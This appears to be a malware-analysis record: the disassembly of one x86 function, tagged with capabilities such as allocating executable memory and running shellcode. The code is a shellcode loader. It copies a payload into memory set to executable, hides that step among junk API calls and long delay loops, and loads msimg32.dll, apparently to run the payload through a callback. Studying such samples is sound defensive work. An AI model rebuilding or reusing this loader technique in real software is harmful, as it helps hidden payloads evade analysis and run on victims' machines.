Function at 0x4014a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x426f68
push eax
mov dword fs:[0], esp
mov eax, dword [0x84c660]
sub esp, 0x4d0
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x401541
xor edi, edi
lea eax, [ebp - 0x10]
push eax
push edi
push edi
lea ecx, [ebp - 0x20]
push ecx
push edi
lea edx, [ebp - 0x11]
push edx
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_BackupRead]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push str.duma
push edi
push edi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea esi, [ebp - 0x40]
call fcn.00401880
push edi
mov dword [ebp - 4], edi
call fcn.00402d07
push edi
push edi
call fcn.00402837
add esp, 0xc
push edi
call fcn.0040300e
add eax, 0x1134b
push eax
push 0
mov dword [0x84c660], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x84c660]
lea ecx, [ebp - 0x18]
push ecx
push 0x40
push edx
push eax
mov dword [0x84b5b4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401588
lea eax, [ebp - 0x4d8]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401575
xor esi, esi
cmp dword [0x84c660], esi
jbe 0x4015de
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [0x84c664]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x84b5b4]
mov byte [eax + esi], dl
cmp dword [0x84c660], 0xa8
jne 0x4015d5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [ebp - 0xd8]
push ecx
call edi
inc esi
cmp esi, dword [0x84c660]
jb 0x4015a1
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x84c660]
add edx, eax
cmp edx, 0xe
jne 0x401647
push 0
push 0
push str.axugu
call esi
push str.vovufizifibonetebow_sef_cewuzigo
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x39621
mov dword [ebp - 0x10], eax
jl 0x4015f5
call fcn.00401380
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
nop
call edi
cmp esi, 0x26
jne 0x40166c
call fcn.00401480
inc esi
cmp esi, 0x6753f
jl 0x401660
mov esi, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edi, 0x7b
cmp dword [0x84c660], 0x86
jne 0x40169c
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub edi, 1
jne 0x401680
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret